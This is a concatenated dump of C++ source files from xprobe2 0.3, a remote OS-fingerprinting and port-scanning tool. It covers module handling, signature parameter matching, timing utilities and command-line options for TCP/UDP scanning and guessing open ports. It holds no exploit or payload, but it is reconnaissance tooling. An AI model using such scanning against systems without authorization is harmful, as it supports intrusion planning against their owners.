xprobe_module_hdlr.h,v 1.7 2005/02/09 18:36:45 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef XPROBE_MODULE_HDLR_H #define XPROBE_MODULE_HDLR_H #include "xprobe.h" #include "xprobe_module.h" #include "target.h" #include "os_matrix.h" /* #include #include */ using namespace std; class Xprobe_Module_Hdlr { private: map modlist; map kwdlist; int keywords; int mod_counter; public: int loaded_mods_num(int); int load(void); int init(void); int print(void); int exec(int, Target *, OS_Matrix *); int fini(void); void display_mod_names(void); int register_module(Xprobe_Module *); int add(int(*)(Xprobe_Module_Hdlr *, char *), char *); void add_keyword(int, char *); int get_module_count(); int modbyname(char *nm); bool mod_disabled_by_default(unsigned int ix) { unsigned int disabled_mods[] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0}; if (ix < sizeof(disabled_mods)) return (disabled_mods[ix] == 1); else return false; } Xprobe_Module *find_mod(string &); Xprobe_Module_Hdlr(void); ~Xprobe_Module_Hdlr(void); }; #endif /* XPROBE_MODULE_HDLR_H */ xprobe2-0.3/src/xprobe_module_param.cc000644 001751 000000 00000020245 10271643771 020320 0ustar00mederwheel000000 000000 /* $Id: xprobe_module_param.cc,v 1.12 2005/07/18 11:08:24 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "xprobe_module_param.h" #include "interface.h" #include "xplib/xplib.h" extern Interface *ui; int Xprobe_Module_Param::sig_insert(int os_id, xprobe_module_param_t p) { if (osid_sig.find(os_id) != osid_sig.end()) return FAIL; osid_sig.insert(pair (os_id, p)); return OK; } int Xprobe_Module_Param::add_param(int param, int orig, OS_Matrix *os) { map ::iterator sig_i; unsigned int ix; long id_diff; vector *vec_ptr; for (sig_i = osid_sig.begin(); sig_i != osid_sig.end(); sig_i++) { switch (type) { case XPROBE_MODULE_PARAM_BOOL: case XPROBE_MODULE_PARAM_ZNZ: if ((param == 0 && (*sig_i).second.low == 0) || param != 0 && (*sig_i).second.low == 1) { os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); } else { os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_NO); } break; case XPROBE_MODULE_PARAM_ZNZORIG: if ((param == 0 && sig_i->second.low == 0) || (param != orig && param != 0 && sig_i->second.low == 1) || (param == orig && sig_i->second.low == -1)) { os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); } else { os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_NO); } break; case XPROBE_MODULE_PARAM_ZNZVAL: if ((param == sig_i->second.low) || (param != 0 && sig_i->second.low == -1)) { os->add_result(get_id(), sig_i->first, XPROBE_MATCH_YES); } else { os->add_result(get_id(), sig_i->first, XPROBE_MATCH_NO); } break; case XPROBE_MODULE_PARAM_RANGE: if ((*sig_i).second.low == 0 && (*sig_i).second.high >= XPROBE_MODULE_PARAM_FUZZY_DELTA) { // * no lower mark if ((*sig_i).second.high - XPROBE_MODULE_PARAM_FUZZY_DELTA <= param && param <= (*sig_i).second.high) { os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); } else { os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_NO); } break; } else { if ((*sig_i).second.low < param && param <= (*sig_i).second.high) os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); else os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_NO); break; } case XPROBE_MODULE_PARAM_INT: if ((*sig_i).second.low < param && param < (*sig_i).second.high) os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); else os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_NO); break; case XPROBE_MODULE_PARAM_INTLIST: vec_ptr = &((*sig_i).second.val_list); for (ix = 0; ix < vec_ptr->size(); ix++) { if (param == (*vec_ptr)[ix]) { os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); break; } } if (param != (*vec_ptr)[ix]) // no match was found os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_NO); break; case XPROBE_MODULE_PARAM_STRATEGY: id_diff = param - orig; if ((id_diff > XMP_STRATEGY_THRESHOLD || id_diff < 0) && (*sig_i).second.low == XMP_STRATEGY_RANDOM) os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); else if (id_diff > 0 && id_diff <= XMP_STRATEGY_THRESHOLD && (*sig_i).second.low == XMP_STRATEGY_INCREMENTAL) os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); else if (id_diff == 0 && (*sig_i).second.low == XMP_STRATEGY_ZERO) os->add_result(get_id(), (*sig_i).first, XPROBE_MATCH_YES); break; default: /* oops */ ui->msg("Something fucked in add_param\n"); return FAIL; } /* switch */ } /* for */ return OK; } /* Lamye-arse parser.. will do it better later ;-) XXX */ int Xprobe_Module_Param::parse_param(int os_id, const char *param) { xprobe_module_param_t p; switch(type) { case XPROBE_MODULE_PARAM_BOOL: case XPROBE_MODULE_PARAM_ZNZ: case XPROBE_MODULE_PARAM_ZNZORIG: switch (param[0]) { case '0': p.low = 0; sig_insert(os_id, p); return OK; case '!': p.low = 1; sig_insert(os_id, p); return OK; case 'y': p.low = 1; sig_insert(os_id, p); return OK; case 'n': p.low = 0; sig_insert(os_id, p); return OK; case 'S': case 's': if (type == XPROBE_MODULE_PARAM_ZNZORIG && !(strncasecmp(param, "SENT", 4))) { p.low = -1; sig_insert(os_id, p); return OK; } default: ui->msg("xprobe_param module: unknown value %s\n", param); } return FAIL; /* unreach */ break; case XPROBE_MODULE_PARAM_ZNZVAL: if (param[0] == '!') { p.low = -1; } else if (param[0] >= '0' && param[0] <= '9') { errno = 0; p.low = strtol(param, NULL, 0); if (errno == ERANGE) { ui->msg("xprobe_param: bad value %s\n", param); return FAIL; } } sig_insert(os_id, p); return OK; break; case XPROBE_MODULE_PARAM_INT: case XPROBE_MODULE_PARAM_RANGE: if (param[0] == '<') { p.low = 0; p.high = atoi(param+1); } else if (param[0] == '>') { p.low = atoi(param+1); p.high = 256; } else { p.low = atoi(param) - 1; p.high = atoi(param) + 1; } sig_insert(os_id, p); return OK; break; case XPROBE_MODULE_PARAM_INTLIST: if (xp_lib::tokenize(param, ',', &p.val_list) == FAIL) { ui->error("xp_lib::tokenize() failed!\n"); return FAIL; } sig_insert(os_id, p); return OK; break; case XPROBE_MODULE_PARAM_STRATEGY: switch(param[0]) { case 'R': p.low = XMP_STRATEGY_RANDOM; break; case 'I': p.low = XMP_STRATEGY_INCREMENTAL; break; case '0': p.low = XMP_STRATEGY_ZERO; break; default: ui->msg("xprobe_param module: unknown value %s\n", param); return FAIL; } sig_insert(os_id, p); return OK; break; default: ui->msg("Xprobe_Module_Param::parse_param(): oops.. something fucked up!\n"); } return FAIL; } int Xprobe_Module_Param::gen_match(int cnt, OS_Matrix *os) { map ::iterator sig_i; int i; if (cnt < 0) return OK; for (sig_i = osid_sig.begin(); sig_i != osid_sig.end(); sig_i++) for (i=0; i < cnt; i++) os->add_result(get_id(), sig_i->first, XPROBE_MATCH_YES); return OK; } xprobe2-0.3/src/xprobe_module_param.h000644 001751 000000 00000006464 10271643771 020171 0ustar00mederwheel000000 000000 /* $Id: xprobe_module_param.h,v 1.10 2005/02/08 20:00:36 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * Changes: * - Feb 12 14:34:04 2003 meder - added type XPROBE_MODULE_PARAM_ZNZORIG, * that required addition of an extra argument to the add_param() and * check_param() methods; */ #ifndef XPROBE_MODULE_PARAM_H #define XPROBE_MODULE_PARAM_H #include "xprobe.h" #include "usi++/usi++.h" #include "target.h" #include "os_matrix.h" #include using namespace std; #define XPROBE_MODULE_PARAM_BOOL 1 /* y/n */ #define XPROBE_MODULE_PARAM_ZNZ 2 /* zero, not zero -- !0, 0 */ #define XPROBE_MODULE_PARAM_INT 3 /* int - 1234 */ #define XPROBE_MODULE_PARAM_RANGE 4 /* range - <1, >2, 20-40 */ #define XPROBE_MODULE_PARAM_ZNZORIG 5 /* zero, not zero, original value(SENT) */ #define XPROBE_MODULE_PARAM_ZNZVAL 6 /* zero, value, not zero */ #define XPROBE_MODULE_PARAM_INTLIST 7 /* list of integers (1,2,3,4,...) */ #define XPROBE_MODULE_PARAM_STRATEGY 8 /* (R)andom, (I)ncremental, 0 */ #define XPROBE_MODULE_PARAM_FUZZY_DELTA 31 #define XMP_STRATEGY_RANDOM 2 #define XMP_STRATEGY_INCREMENTAL 1 #define XMP_STRATEGY_ZERO 0 #define XMP_STRATEGY_THRESHOLD 256 typedef struct xprobe_module_param_val { int high; int low; vector val_list; } xprobe_module_param_t; class Xprobe_Module_Param { private: int id; int type; map osid_sig; int sig_insert(int os_id, xprobe_module_param_t p); public: Xprobe_Module_Param(int t) { type = t; } virtual ~Xprobe_Module_Param(void) { return; } // virtual int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) =0; int parse_param(int os_id, const char *param); int add_param(int param, int orig, OS_Matrix *os); void set_id(int i) { id = i; } int get_id(void) { return id; } int gen_match(int cnt, OS_Matrix *os); }; class Xprobe_Module_Param_TCP: public Xprobe_Module_Param { public: Xprobe_Module_Param_TCP(int t): Xprobe_Module_Param(t) { return; } virtual ~Xprobe_Module_Param_TCP(void) { return; } virtual int check_param(TCP *ip_pkt, TCP *orig_pkt, OS_Matrix *os) =0; }; class Xprobe_Module_Param_ICMP: public Xprobe_Module_Param { public: Xprobe_Module_Param_ICMP(int t): Xprobe_Module_Param(t) {return; } virtual ~Xprobe_Module_Param_ICMP(void) { return; } virtual int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) =0; }; #endif /* XPROBE_MODULE_PARAM */ xprobe2-0.3/src/xprobe_timeval.h000755 001751 000000 00000013450 10271643771 017161 0ustar00mederwheel000000 000000 /* $Id: xprobe_timeval.h,v 1.2 2003/08/20 05:30:16 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef XPROBE_TIMEVAL_H #define XPROBE_TIMEVAL_H #include "xprobe.h" namespace Xprobe { #define USECS2SEC 1000000 class Timeval: public timeval { public: Timeval(); Timeval(long sec_, long usec_); Timeval(double t_); Timeval(const struct timeval& t_); Timeval(const Timeval& t_); operator double () const; void sec(long s_) { tv_sec = s_; } long sec(void) const { return tv_sec; } void usec(long us_) { tv_usec = us_; } long usec(void) const { return tv_usec; } long millisec(void) const; long microsec(void) const; Timeval& operator= (const Timeval& tv_); Timeval& operator+= (const Timeval& rh_); Timeval& operator-= (const Timeval& rh_); //Timeval& operator++ (void); //Timeval& operator-- (void); friend Timeval operator+ (const Timeval& lh_, const Timeval& rh_); friend Timeval operator- (const Timeval& lh_, const Timeval& rh_); bool operator< (const Timeval& rh_) const; bool operator== (const Timeval& rh_) const; friend bool operator> (const Timeval& lh_, const Timeval& rh_); friend bool operator!= (const Timeval& lh_, const Timeval& rh_); friend bool operator<= (const Timeval& lh_, const Timeval& rh_); friend bool operator>= (const Timeval& lh_, const Timeval& rh_); static Timeval gettimeofday(); protected: void init(long, long); private: void align(void); /* no members */ }; inline void Timeval::init (long sec_, long usec_) { tv_sec = sec_; tv_usec = usec_; align(); } inline Timeval::Timeval (void) { init(0, 0); } inline Timeval::Timeval(long sec_, long usec_) { init(sec_, usec_); } inline Timeval::Timeval(double t_) { long l = (long)t_; tv_sec = l; tv_usec = (long)((t_ - double(l)) * 1000000.0); align(); } inline Timeval::Timeval(const struct timeval& t_) { init(t_.tv_sec, t_.tv_usec); } inline Timeval::Timeval(const Timeval& t_) { init(t_.tv_sec, t_.tv_usec); } inline Timeval Timeval::gettimeofday() { struct timeval tv; ::gettimeofday(&tv, 0); return tv; } inline Timeval::operator double() const { return (tv_sec + tv_usec / 1000000.0); } // return total in milliseconds inline long Timeval::millisec() const{ return sec()*1000 + (usec() % 1000000) / 1000; } // return total in microseconds inline long Timeval::microsec() const{ return sec()*1000000 + usec(); } /* logic */ inline Timeval& Timeval::operator= (const Timeval& tv_) { init(tv_.tv_sec, tv_.tv_usec); return *this; } inline Timeval operator+ (const Timeval& lh_, const Timeval& rh_) { Timeval tmp(lh_); tmp += rh_; tmp.align(); return tmp; } inline Timeval operator- (const Timeval& lh_, const Timeval& rh_) { Timeval tmp(lh_); tmp -= rh_; tmp.align(); return tmp; } inline Timeval& Timeval::operator+= (const Timeval& rh_) { tv_sec += rh_.tv_sec; tv_usec += rh_.tv_usec; align(); return *this; } inline Timeval& Timeval::operator-= (const Timeval& rh_) { tv_sec -= rh_.tv_sec; tv_usec -= rh_.tv_usec; align(); return *this; } inline void Timeval::align(void) { if (tv_usec >= USECS2SEC) { do { tv_sec++; tv_usec -= USECS2SEC; } while (tv_usec >= USECS2SEC); } else if (tv_usec <= -USECS2SEC) { do { tv_sec--; tv_usec += USECS2SEC; } while (tv_usec <= -USECS2SEC); } if (tv_sec > 0 && tv_usec < 0) { tv_sec--; tv_usec += USECS2SEC; } else if (tv_sec < 0 && tv_usec > 0) { tv_sec++; tv_usec -= USECS2SEC; } } inline bool Timeval::operator< (const Timeval& rh_) const { return (tv_sec < rh_.tv_sec || (tv_sec == rh_.tv_sec && tv_usec < rh_.tv_usec)) ; } inline bool Timeval::operator== (const Timeval & rh_) const { return !(*this < rh_ || rh_ < *this); } inline bool operator> (const Timeval& lh_, const Timeval& rh_) { return rh_ < lh_; } inline bool operator!= (const Timeval& lh_, const Timeval& rh_) { return !( rh_ == lh_ ); } inline bool operator<= (const Timeval& lh_, const Timeval& rh_) { return !( rh_ < lh_ ); } inline bool operator>= (const Timeval& lh_, const Timeval& rh_) { return !( lh_ < rh_ ); } }; /* namespace */ #endif xprobe2-0.3/src/cmd_opts.cc000644 001751 000000 00000032420 10271643771 016102 0ustar00mederwheel000000 000000 /* $Id: cmd_opts.cc,v 1.20 2005/02/14 18:25:12 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "cmd_opts.h" #include "interface.h" #include "xprobe_module_hdlr.h" #include "xplib/xplib.h" extern Interface *ui; extern Xprobe_Module_Hdlr *xmh; int Cmd_Opts::is_verbose(void) { return verbose; } unsigned long Cmd_Opts::debug(void) { return debuglevel; } Xprobe::Timeval& Cmd_Opts::get_send_delay(void) { return send_delay; } Xprobe::Timeval& Cmd_Opts::get_timeout(void) { return receive_timeout; } char *Cmd_Opts::get_target(void) { return target; } char *Cmd_Opts::get_configfile(void) { if (config_file) return config_file; else return default_config_file; } char *Cmd_Opts::get_logfile(void) { return logfile; } bool Cmd_Opts::do_xml(void) { return xml; } bool Cmd_Opts::tcp_port_brute(void) { return brute_force_tcp_ports; } int Cmd_Opts::parse(int argc, char *argv[]) { int c, modcount = xmh->get_module_count(), mod_to_disable, mod_to_enable; if ((mods = new int[modcount]) == NULL) { ui->error("Cmd_Opts::parse: memory allocation failed\n"); return FAIL; } // initialize each module entry to be enabled for (c=0; c < modcount; c++) { if (xmh->mod_disabled_by_default(c)) mods[c] = XPROBE_MODULE_DISABLED; else mods[c] = XPROBE_MODULE_ENABLED; } while((c = getopt(argc, argv, "vi:p:ho:t:d:c:rD:m:M:PT:U:s:fLFXBA")) !=EOF) switch(c) { case 'd': debuglevel = atol(optarg); break; case 'v': verbose++; break; case 'o': logfile = optarg; break; case 'c': config_file = optarg; break; case 's': send_delay = atof(optarg); break; case 't': receive_timeout = atof(optarg); if ((double)receive_timeout <0) { ui->error("Incorrect receive timeout %s\n", optarg); usage(argv[0]); } break; case 'L': ui->msg("Following modules are available (by keyword)\n"); xmh->display_mod_names(); ui->msg("\n\n"); usage(argv[0]); break; case 'r': showroute = true; break; case 'p': if (parse_port(optarg) < 0) usage(argv[0]); break; case 'D': if (modules_enable_used) { ui->error("-D and -M options are not compatible\n"); usage(argv[0]); } if (!modules_disable_used) { for (c=0; c < modcount; c++) mods[c] = XPROBE_MODULE_ENABLED; modules_disable_used = true; } errno = 0; if ((mod_to_disable = xmh->modbyname(optarg)) == -1) mod_to_disable = strtol(optarg, NULL, 0); if (errno == ERANGE && (mod_to_disable == LONG_MAX || mod_to_disable == LONG_MIN)) { ui->error("Incorrect module number specified %s\n", optarg); usage(argv[0]); } else if (mod_to_disable < 1 || mod_to_disable > modcount) { ui->error("Module number %d is incorrect, must be in range from 1 to %d\n",mod_to_disable, modcount); usage(argv[0]); } mods[mod_to_disable-1] = XPROBE_MODULE_DISABLED; break; case 'M': if (modules_disable_used) { ui->error("-D and -M options are not compatible\n"); usage(argv[0]); } if (!modules_enable_used) { for (c=0; c < modcount; c++) mods[c] = XPROBE_MODULE_DISABLED; modules_enable_used = true; } errno = 0; if ((mod_to_enable = xmh->modbyname(optarg)) == -1) mod_to_enable = strtol(optarg, NULL, 0); if (errno == ERANGE && (mod_to_enable == LONG_MAX || mod_to_enable == LONG_MIN)) { ui->error("Incorrect module number specified %s\n", optarg); usage(argv[0]); } else if (mod_to_enable < 1 || mod_to_enable > modcount) { ui->error("Module number %d is incorrect, must be in range from 1 to %d\n",mod_to_enable, modcount); usage(argv[0]); } mods[mod_to_enable-1] = XPROBE_MODULE_ENABLED; break; case 'm': errno = 0; numofmatches = strtol(optarg, NULL, 0); if (errno == ERANGE && (numofmatches == LONG_MAX || numofmatches == LONG_MIN)) { ui->error("Incorrect number of matches to display specified %s\n", optarg); usage(argv[0]); } else if (numofmatches < 1) { ui->error("Are you sure you know what this program is doing? Number of matches must be greater than 0\n"); usage(argv[0]); } break; case 'T': if (parse_range(optarg, &tcp_ports_toscan)) { ui->msg("-T syntax error: %s\n", optarg); usage(argv[0]); } portscan = true; break; case 'U': if (parse_range(optarg, &udp_ports_toscan)) { ui->msg("-U syntax error: %s\n", optarg); usage(argv[0]); } portscan = true; break; case 'f': rtt_forced = true; break; case 'F': sgen = true; break; case 'X': xml = true; break; case 'B': brute_force_tcp_ports = true; break; case 'A': analyze_samples = true; break; case 'h': default: usage(argv[0]); } /* need here a method that will track comand line options dependencies */ if (xml && !logfile) { ui->msg("-X you need to specify output file with -o\n"); usage(argv[0]); } if (analyze_samples && !portscan) usage(argv[0]); if (argc < optind + 1) usage(argv[0]); target = argv[optind]; return 1; } void Cmd_Opts::usage(char *progname) { ui->error("usage: %s [options] target\n", progname); ui->error("Options:\n"); ui->error(" -v Be verbose\n"); ui->error(" -r Show route to target(traceroute)\n"); ui->error(" -p Specify portnumber, protocol and state.\n"); ui->error(" Example: tcp:23:open, UDP:53:CLOSED\n"); ui->error(" -c Specify config file to use.\n"); ui->error(" -h Print this help.\n"); ui->error(" -o Use logfile to log everything.\n"); ui->error(" -t Set initial receive timeout or roundtrip time.\n"); ui->error(" -s Set packsending delay (milseconds).\n"); ui->error(" -d Specify debugging level.\n"); ui->error(" -D Disable module number .\n"); ui->error(" -M Enable module number .\n"); ui->error(" -L Display modules.\n"); ui->error(" -m Specify number of matches to print.\n"); ui->error(" -T Enable TCP portscan for specified port(s).\n"); ui->error(" Example: -T21-23,53,110\n"); ui->error(" -U Enable UDP portscan for specified port(s).\n"); ui->error(" -f force fixed round-trip time (-t opt).\n"); ui->error(" -F Generate signature (use -o to save to a file).\n"); ui->error(" -X Generate XML output and save it to logfile specified with -o.\n"); ui->error(" -B Options forces TCP handshake module to try to guess open TCP port\n"); ui->error(" -A Perform analysis of sample packets gathered during portscan in\n"); ui->error(" order to detect suspicious traffic (i.e. transparent proxies,\n"); ui->error(" firewalls/NIDSs resetting connections). Use with -T.\n"); exit(1); } bool Cmd_Opts::show_route(void) { return showroute; } int Cmd_Opts::parse_port (char *portptr) { string portstr(portptr); int iportnum = 0; char istate = 0; vector tokens; /* max len = strlen("tcp:65535:closed"); */ if (portstr.length() > 16) { ui->error("-p syntax error (toolong ?)\n"); return FAIL; } if(xp_lib::tokenize(portptr, ':', &tokens)) { ui->error("Error tokenizing\n"); return FAIL; } if (tokens.size() != 3){ /* either not enough or too many */ ui->error ("-p syntax error (Not enought or too many \":\"\'s? %d)\n", tokens.size()); return FAIL; } if (!(iportnum = atoi(tokens[1].c_str())) || iportnum > 65535 || iportnum < 1) { ui->error("-p syntax error (Incorrect port number specification)\n"); return FAIL; } if (!strncasecmp(tokens[2].c_str(), "open", 4)) istate = XPROBE_TARGETP_OPEN; else if (!strncasecmp(tokens[2].c_str(), "closed", 6)) istate = XPROBE_TARGETP_CLOSED; else { ui->error("-p syntax error (Unknown port state)\n"); return FAIL; } if (!strncasecmp(tokens[0].c_str(), "tcp", 3)) tcp_ports.insert(pair(iportnum, istate)); else if (!strncasecmp(tokens[0].c_str(), "udp", 3)) udp_ports.insert(pair(iportnum, istate)); else { ui->error("-p syntax error (Unknown protocol)\n"); return FAIL; } return OK; } map *Cmd_Opts::get_tcp_ports(void) { return &tcp_ports; } map *Cmd_Opts::get_udp_ports(void) { return &udp_ports; } Cmd_Opts::Cmd_Opts(void) { receive_timeout = DEF_TIMEOUT; send_delay = DEF_SEND_DELAY; verbose = 0; flags = 0; logfile = NULL; config_file = NULL; default_config_file = DEFAULT_CONFIG; debuglevel = DEFAULT_DEBUG_LEVEL; target = NULL; showroute = false; numofmatches = DEFAULT_MATCHES; portscan = false; rtt_forced = false; modules_disable_used = modules_enable_used = analyze_samples = false; sgen = false; xml = false; brute_force_tcp_ports = false; } bool Cmd_Opts::mod_is_disabled(int modnum) { if (modnum > 0 && modnum <= xmh->get_module_count()) if (mods[modnum-1]) return true; return false; } int Cmd_Opts::get_numofmatches() { return numofmatches; } int Cmd_Opts::parse_range(char *arg, vector *vec) { Port_Range range; vector tokens, range_tokens; u_short hi, lo; unsigned int k; /* first we need to split * the input into entries * separated by commas, * then we parse each entry * and see if range was * specified */ if (xp_lib::tokenize(arg, ',', &tokens)) { ui->msg("Cmd_Opts::parse_range() something went wrong!\n"); return FAIL; } for (k=0; k < tokens.size(); k++) { if (tokens[k].find_first_of('-') == string::npos) { //not a range just a simple port spec errno = 0; lo = strtol(tokens[k].c_str(), NULL, 0); if (errno == ERANGE || lo == 0) return FAIL; range.set_range(lo, lo); vec->push_back(range); } else { //range specified //tokenize it xp_lib::tokenize(tokens[k].c_str(), '-', &range_tokens); if (range_tokens.size() != 2) return FAIL; errno = 0; lo = strtol(range_tokens[0].c_str(), NULL, 0); if (errno == ERANGE || lo == 0) return FAIL; errno = 0; hi = strtol(range_tokens[1].c_str(), NULL, 0); if (errno == ERANGE || hi == 0) return FAIL; range.set_range(lo, hi); vec->push_back(range); } } return OK; } xprobe2-0.3/src/cmd_opts.h000644 001751 000000 00000005251 10271643771 015746 0ustar00mederwheel000000 000000 /* $Id: cmd_opts.h,v 1.14 2005/02/14 18:05:17 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef CMD_OPTS_H #define CMD_OPTS_H #include "xprobe.h" #include "target.h" /* #include #include #include */ using namespace std; class Cmd_Opts { private: Xprobe::Timeval receive_timeout; Xprobe::Timeval send_delay; char verbose; bool modules_disable_used, modules_enable_used; char flags; char *logfile; char *config_file; char *default_config_file; unsigned long debuglevel; char *target; bool showroute, portscan, rtt_forced, sgen, xml, brute_force_tcp_ports, analyze_samples; map tcp_ports; map udp_ports; vector tcp_ports_toscan; vector udp_ports_toscan; int *mods; int numofmatches; int parse_port(char *); int parse_range(char *, vector *); public: Cmd_Opts(void); int is_verbose(void); unsigned long debug(void); Xprobe::Timeval& get_timeout(void); Xprobe::Timeval& get_send_delay(void); char *get_target(void); char *get_configfile(void); char *get_logfile(void); int parse(int argc, char *argv[]); void usage(char *); bool show_route(void); map *get_tcp_ports(void); map *get_udp_ports(void); bool mod_is_disabled(int); int get_numofmatches(); bool do_portscan() { return portscan; } bool is_rtt_forced() { return rtt_forced; } bool generate_sig() { return sgen; } bool do_xml(); bool tcp_port_brute(); bool analyze_packets() { return analyze_samples; } vector *get_tcp_ports_to_scan() { return &tcp_ports_toscan; } vector *get_udp_ports_to_scan() { return &udp_ports_toscan; } }; extern char *optarg; extern int optind; #endif /* CMD_OPTS_H */ xprobe2-0.3/src/config.h.in000644 001751 000000 00000005373 10271643771 016015 0ustar00mederwheel000000 000000 /* src/config.h.in. Generated from configure.in by autoheader. */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #undef SOLARIS #undef LINUX #undef STATIC_TESTS #undef uint8_t #undef uint16_t #undef uint32_t #undef HAVE_SOCKADDR_SA_LEN /* Define to 1 if you have the header file. */ #undef HAVE_DLFCN_H /* Define to 1 if you have the header file. */ #undef HAVE_GLIB_H /* Define to 1 if you have the header file. */ #undef HAVE_INTTYPES_H /* Define to 1 if you have the `c' library (-lc). */ #undef HAVE_LIBC /* Define to 1 if you have the `dl' library (-ldl). */ #undef HAVE_LIBDL /* Define to 1 if you have the `pcap' library (-lpcap). */ #undef HAVE_LIBPCAP /* Define to 1 if you have the header file. */ #undef HAVE_MEMORY_H /* Struct sockaddr has sa_len member */ #undef HAVE_SOCKADDR_SA_LEN /* Define to 1 if you have the header file. */ #undef HAVE_STDINT_H /* Define to 1 if you have the header file. */ #undef HAVE_STDLIB_H /* Define to 1 if you have the header file. */ #undef HAVE_STRINGS_H /* Define to 1 if you have the header file. */ #undef HAVE_STRING_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_STAT_H /* Define to 1 if you have the header file. */ #undef HAVE_SYS_TYPES_H /* Define to 1 if you have the header file. */ #undef HAVE_UNISTD_H /* Linux OS */ #undef LINUX /* Define to the address where bug reports for this package should be sent. */ #undef PACKAGE_BUGREPORT /* Define to the full name of this package. */ #undef PACKAGE_NAME /* Define to the full name and version of this package. */ #undef PACKAGE_STRING /* Define to the one symbol short name of this package. */ #undef PACKAGE_TARNAME /* Define to the version of this package. */ #undef PACKAGE_VERSION /* Solaris OS */ #undef SOLARIS /* Static Tests */ #undef STATIC_TESTS /* Define to 1 if you have the ANSI C header files. */ #undef STDC_HEADERS xprobe2-0.3/src/config_set.cc000644 001751 000000 00000021450 10271643771 016413 0ustar00mederwheel000000 000000 /* $Id: config_set.cc,v 1.6 2005/07/21 11:42:31 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor 